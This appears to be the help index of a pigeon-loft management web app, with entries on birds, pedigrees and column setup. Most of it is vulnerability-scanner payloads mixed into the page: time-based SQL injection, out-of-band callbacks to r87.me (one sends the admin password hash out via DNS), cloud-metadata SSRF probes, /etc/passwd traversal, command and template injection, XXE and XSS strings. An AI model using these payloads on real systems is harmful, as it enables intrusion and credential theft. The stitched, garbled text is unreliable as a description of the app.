1;SELECT pg_sleep(25)-- /* 652adcd8-b6f2-4327-9bd6-e75987a9ddba */

1;SELECT pg_sleep(25)-- /* d7126d10-b32d-41ef-9d2a-24ced18e465b */

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* 2ecbb104-9826-48e3-bf58-5ed6e7e29ad7 */

1';expr 268409241 - 53560;'

1';expr 268409241 - 56424;'

1';SELECT pg_sleep(25)-- /* bcf83d82-5121-490e-9a2d-ef0f0e129102 */

1';SELECT pg_sleep(25)-- /* fbb8325c-317e-4d22-9086-1a0b7cec3eac */

1');SELECT pg_sleep(25)-- /* 6f988bce-086d-49bd-81ac-738148f7cead */

1');SELECT pg_sleep(25)-- /* 7e2d8223-ea05-437d-9590-a1964262e85d */

1'));SELECT pg_sleep(25)-- /* 04269a1b-e2e4-4788-a7d5-bcaa57dee2f9 */

1'));SELECT pg_sleep(25)-- /* 4a0ce1f2-e063-4711-b7f8-7ae4f13ade7a */

1'))exec('xp_dirtree ''\\tykj4de3bual_0gcqd8sx-qdanrgrpo10_ietcn2'+'dga.r87.me'+'\c$\a''')--

1'))exec('xp_dirtree ''\\tykj4de3buifwgjfk58vm9ft7r7zrgdl13vgpgfj'+'biq.r87.me'+'\c$\a''')--

1')exec('xp_dirtree ''\\tykj4de3buhcfc9f6erp_coflraeckkhhuwwk6hk'+'tsc.r87.me'+'\c$\a''')--

1')exec('xp_dirtree ''\\tykj4de3buthtpa9jlby7yehj4nc8h2bg1ceferr'+'i9a.r87.me'+'\c$\a''')--

1";expr 268409241 - 62909;"

1";expr 268409241 - 68423;"

1) exec('xp_dirtree ''\\tykj4de3bunugqc-i0srx7hnjvnpfsltvfzqy_s5'+'nio.r87.me'+'\c$\a''')--

1) exec('xp_dirtree ''\\tykj4de3buxkttfkg2icjuwprfacyskqd3_x3lfq'+'kho.r87.me'+'\c$\a''')--

1) WAITFOR DELAY '0:0:25'-- /* 92722783-8103-4aa3-8d9a-b24fa59479c2 */

1) WAITFOR DELAY '0:0:25'-- /* aa073735-185a-4573-b413-11ccef3add40 */

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 7c26b342-d081-44cc-90aa-3349b174a38f */

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* c824ee3e-48e3-4028-b84d-01e0de12b6b0 */

1);SELECT pg_sleep(25)-- /* 82b07fb3-94b9-4904-99b4-fb777e58c226 */

1);SELECT pg_sleep(25)-- /* 856db693-171e-41be-b2e5-81116ff1b1bb */

1)) WAITFOR DELAY '0:0:25'-- /* 3ffe45ba-684b-45f8-b2a5-8289aa4ec551 */

1)) WAITFOR DELAY '0:0:25'-- /* fed810b4-a42a-4957-ad24-d924b92051de */

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 4c9c9842-fc73-4dcc-abe1-d96987cc2bfa */

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* fefac8f3-b0cc-440b-ad29-5d19fcdba67a */

1));SELECT pg_sleep(25)-- /* 05c0c064-6408-48d4-8d4e-451bad36cce0 */

1));SELECT pg_sleep(25)-- /* 387b4d52-ce0a-452c-938f-4d00ca15a422 */

1))exec('xp_dirtree ''\\tykj4de3buhhbihsa3p7bkl9hi_e5jm5o_3hvccq'+'80i.r87.me'+'\c$\a''')--

1))exec('xp_dirtree ''\\tykj4de3buwxctz2gmkxyrggxdqo0dzpplvk-1my'+'b2o.r87.me'+'\c$\a''')--

1/../../../../../../../../../../../etc/passwd

1/../../../../../../../../../../boot.ini

127.0.0.1/elmah

127.0.0.1/elmah.axd

127.0.0.1/trace.axd

127.100.11.2/elmah

127.100.11.2/elmah.axd

127.100.11.2/trace.axd

54.214.254.70/elmah

54.214.254.70/elmah.axd

54.214.254.70/trace.axd

Add bird - how to

Add Bird button (my birds)

Add Bird button (pedigree)

Adobe Flash - install

Adobe Flash - install problems

Adobe Flash - Plugin

Adobe Reader - install

Adobe Reader - install other versions

Adobe Reader - install problems

arguments[1].end(require('child_process').execSync('expr 268409241 - 10105'))

arguments[1].end(require('child_process').execSync('expr 268409241 - 54261'))

arguments[1].end(require('child_process').execSync('set /A 268409241 - 43185'))

arguments[1].end(require('child_process').execSync('set /A 268409241 - 72046'))

Band Number - links

Band Number (data field)

Bird - add button (my birds)

Bird - add button (pedigree)

Bird - add how-to

Bird - bird data fields

Bird - edit button (pedigree)

Bird - find button (pedigree)

Bird - searching

Bird - selecting

Bird list - my birds

Bird list - printing

Bird list - progeny

Bird list - selecting

Bird list - selecting multiple birds

Bird list - sorting

Bird list - usage

Blank Nest Cards

Breeder (data field)

c:\boot.ini

c:\windows\win.ini

c%3a%5cboot.ini

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

cast((SELECT dblink_connect('host=tykj4de3buhcem4kzfjcu3c_9o2gndephrtsajnm'||'7x4.r87.me user=a password=a connect_timeout=2')) as numeric)

cast((SELECT dblink_connect('host=tykj4de3burl8mkq8776j26wtvcqsk382-w3iiku'||'0mi.r87.me user=a password=a connect_timeout=2')) as numeric)

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(116)||chr(121)||chr(107)||chr(106)||chr(52)||chr(100)||chr(101)||chr(51)||chr(98)||chr(117)||chr(104)||chr(109)||chr(119)||chr(115)||chr(117)||chr(121)||chr(97)||chr(102)||ch

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(116)||chr(121)||chr(107)||chr(106)||chr(52)||chr(100)||chr(101)||chr(51)||chr(98)||chr(117)||chr(117)||chr(116)||chr(120)||chr(99)||chr(121)||chr(54)||chr(117)||chr(102)||chr

Color (data field)

Columns - default setup

Columns - default widths

Columns - hide

Columns - minimum width

Columns - resizing

Columns - save current setup

Columns - show

Columns - sorting

Comments - pedigree comments (data field)

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

Dam button (pedigree)

data:;base64,TlM3NzU0NTYxNDQ2NTc1

dblink_connect('host=tykj4de3buhhbsdodmpp2dlhnyoqrloein9zlt3f'||'adc.r87.me user=a password=a connect_timeout=2')

dblink_connect('host=tykj4de3buk5asi0x_6rvz2n2ekuwhdyemwetoyc'||'beg.r87.me user=a password=a connect_timeout=2')

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.tykj4de3bu_31xqekpeyoqxbiqdqwvc06t1ybih8'+'hra.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.tykj4de3bunqicfocs4ofy_mvfgujr34_h5ht9tb'+'vp0.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','tykj4de3bu1wiiychm2swgikcveecq81hngw41wt'+'q1o.r87.me')exec sp_executesql @r

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','tykj4de3bu71zsl7lbf0bgvm_ez75vmk2fgtbngc'+'qvy.r87.me')exec sp_executesql @r

Default - column setup

Default - default column widths

Delete - all selected birds

Delete - single bird

Description (data field)

Edit Bird(s) button (my birds)

Edit icons

Editting Birds

eval('gethostbyname(lc 'tykj4de3bujoxwehk8p5rkiex5kekiwrkb_i3rbr'.'er0.r87.me')')

eval('gethostbyname(lc 'tykj4de3buon6sowg4kb6unibd44wroktdvlzadj'.'cfw.r87.me')')

eval('print localtime()*0+0xFFF9999-13867')

eval('print localtime()*0+0xFFF9999-68644')

exec('xp_dirtree ''\\tykj4de3buclh1ebo5b9kfswpzxm-ah1zdlvkcuk'+'ud4.r87.me'+'\c$\a''')

exec('xp_dirtree ''\\tykj4de3budbtq7bbo7vfl9ph8slwm_rs7b16y-x'+'y4u.r87.me'+'\c$\a''')

Export selected birds for import

Export selected birds for spreadsheet

expr 268409241 - 40563

expr 268409241 - 74424

expr 268409241 - 80747;

Features - new

file:///boot.ini

file:///etc/passwd

file:///windows/win.ini

file%3a%2f%2f%2fboot.ini

gethostbyname(trim('tykj4de3bu8esxcrwlxyyoeyx6ro5div5u-be-nk'.'bq8.r87.me'));

How To...

http://[::1]:22

http://[::1]:3306

http://127.0.0.1:22

http://127.0.0.1:3306

http://169.254.169.254/latest/meta-data/public-hostname

http://169.254.169.254/opc/v1/instance

http://54.214.254.70:22

http://54.214.254.70:3306

http://aws.r87.me/latest/meta-data/public-hostname

http://example.com/? ns: netsparker056650=vuln

hTTp://r87.com/n

http://r87.com/n?.html

http://r87.me/r/?id=tykj4de3bulmjhfepegjcnqfxws09qyfbz0ihpla33k

http://r87.me/r/?id=tykj4de3buzwojxet8gpbk2wivarxsg14g54zw6gwpc

http://tykj4de3bu-iezywy65dexjl4nw3i5z-0hyu06vx8mp.r87.me/p/

http://tykj4de3buv7lpkxz7ij4o9swti-mvxfasjl1ab6awp.r87.me/p/

http://www.example.com

Link Text
Select page to link to
Optionally jump to a section	# (SELECT COUNT(),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"" style="width:350px" >
Link test/preview -> test

http://www.example.com

https://brainhackmusicbox.bandcamp.com/

https://brainhackmusicbox.tumblr.com/

https://metadata.packet.net/metadata

https://soundcloud.com/brainhack_musicbox

https://www.facebook.com/brainhackmusicbox/

https://www.instagram.com/brainhack_musicbox/

https://www.loftmanageronline.com/elmah

https://www.loftmanageronline.com/elmah.axd

https://www.loftmanageronline.com/server-status

https://www.loftmanageronline.com/trace.axd

https://www.youtube.com/c/brainhackmusicbox

Icons - edit icons

Import BIRDS.DB

Import selected birds Ancestors

Importing Birds - setup

Index

Introduction

links - Band Number

Links (main tab)

Links (pedigree)

Lists - using bird lists

Location (data field)

Logging in

Main tab

Main tab - links

Minimum - column widths

Multiple birds - selection

My Birds tab

N3tSp4rK3R

n3tsp4rke2

Nest Cards (blank)

New features

Next Bird button (pedigree)

Next Bird button (progeny)

Notes (bird data)

Notes (help)

NS-1NO

ns:netsparker056650=vuln

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

NS09＜s1﹥DBLʺSNGLʹNS09

NSFTW

nslookup "tykj4de3buaejhczpau17rb73rgowt6v6rl1gyys""bla.r87.me"

nslookup "tykj4de3buq5sgppibau-zxxzjio8hccmfd9wwd9""c2a.r87.me"

Options button (my birds)

Options button (progeny)

p "#{0xFFF9999.to_i-`echo 25621`.to_i}"

p "#{0xFFF9999.to_i-`echo 49191`.to_i}"

Pairing tab

Pedigree Comments (data field)

Pedigree links

Pedigree Printing

Pedigree tab

Photo upload

php://filter//resource=http://r87.com/n?.html

php://filter//resource=http://tykj4de3bu6d0gv0n2gpnccvyuzjbgfxt7fi6xxa-4x.r87.me/p/

php://filter//resource=http://tykj4de3buh6gfft9lvhxed9sbqhzmp2gu9xugy4q43.r87.me/p/

ping -n 25 127.0.0.1

ping -n 25 127.0.0.1 &

ping -w 25 127.0.0.1

ping -w 25 127.0.0.1 &

Previous Bird button (pedigree)

Previous Bird button (progeny)

Print button (my birds)

Print button (pedigree)

Print button (progeny)

print localtime()*0+0xFFF9999-35767

print localtime()*0+0xFFF9999-85320

print(int)0xFFF9999-13705;

print(int)0xFFF9999-20410;

print(int)0xFFF9999-25372

print(int)0xFFF9999-98012

Printing - bird list

Printing - Pedigrees

Progeny tab

Program features

r87.com/n

Race Record

require 'resolv';Resolv.getaddress ("tykj4de3buqvybptbrkjvi5sf44p0sk3cnlgsqip".concat "yd8.r87.me")

require 'resolv';Resolv.getaddress ("tykj4de3buxzmo1asmep7d7pczrojmipyauixkox".concat "rhg.r87.me")

Resizing columns

Resolution - screen

response.write(268409241-3960)'

response.write(268409241-73822)'

Save current column setup

Screen Resolution

Scroll bar

Search button (my birds)

Searching - how to

section-index.html

SELECT dblink_connect('host=tykj4de3burgzowuizmqzrcj8zbj7yapuui6wl76'||'iww.r87.me user=a password=a connect_timeout=2')

SELECT pg_sleep(25)-- /* 99dc2867-a361-4466-bb5b-926959700e39 */

SELECT pg_sleep(25)-- /* c20857d5-e503-409a-a37b-8bec4fac78e4 */

Selected birds

SET /A 0xFFF9999-12771

SET /A 0xFFF9999-15672 &

SET /A 0xFFF9999-59556

SET /A 0xFFF9999-78831

Setup

Setup - default column setup

Sex (data field)

Show columns

Show/Hide columns

Sire button (pedigree)

Sire button (progeny)

Sorting columns

Spreadsheet - Export selected birds for

Status (data field)

Strain (data field)

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 3f892901-682f-45fa-8e04-79a4b3910b10 */

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 8ced2260-8a38-4b48-b1b6-05273f99b338 */

syscolumns WHERE 2>3;exec('xp_dirtree ''\\tykj4de3busfkj4ed7p3siwft6cdnn3mx19kgycr'+'67q.r87.me'+'\c$\a''')--

syscolumns WHERE 2>3;exec('xp_dirtree ''\\tykj4de3buwv7hdo3pc9jpigcht8umbdikvwvuk-'+'r_8.r87.me'+'\c$\a''')--

tykj4de3bu-mlriktzqjiyvsaa5nxrhg2imaqfanbb8.r87.me

tykj4de3budblqkhdq3nqkgcxokdpewatisczcxwaca.r87.me

tykj4de3bufciwpltwjrsslg2aeynssqdf_qd5emd2t.r87.me/p/

tykj4de3buv6anu2j64nm5j-se3pzgsqtt7g94lqwqp.r87.me/p/

Upload Photo

Using the Bird Lists

View My Birds - link

WAITFOR DELAY '0:0:25'-- /* 940a8ccd-0aa3-47c1-b59f-bf7c9b606b97 */

WAITFOR DELAY '0:0:25'-- /* fb29322f-1daf-40ab-8a72-085ab928a346 */

Web Browser - maximize

WEB-INF/web.xml

What's new

Width - default column widths

Width - minimum column widths

www.loftmanageronline.com/elmah

www.loftmanageronline.com/elmah.axd

www.loftmanageronline.com/trace.axd

x" onmouseover=netsparker(0x01150A) x="

Link Text	%dtd;]>&a;" class="index-link-text-field" size="70">
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

Link Text	]>&lfi;" class="index-link-text-field" size="70">
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

Link Text	${ ex("bash -c {eval,$({tr,/+,_-}<<
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

Link Text	${ ex("cmd.exe /c nslookup tykj4de3bu3n1fc6qgnb6ezjzeup9vqunkd_wexd"+"phy.r87.me") }" class="index-link-text-field" size="70">
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

Link Text	${ ex("cmd.exe /c nslookup tykj4de3buwylh13tl9x9qm0ejq2l1sqc-blibvz"+"zgc.r87.me") }" class="index-link-text-field" size="70">
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

Mobile performance factors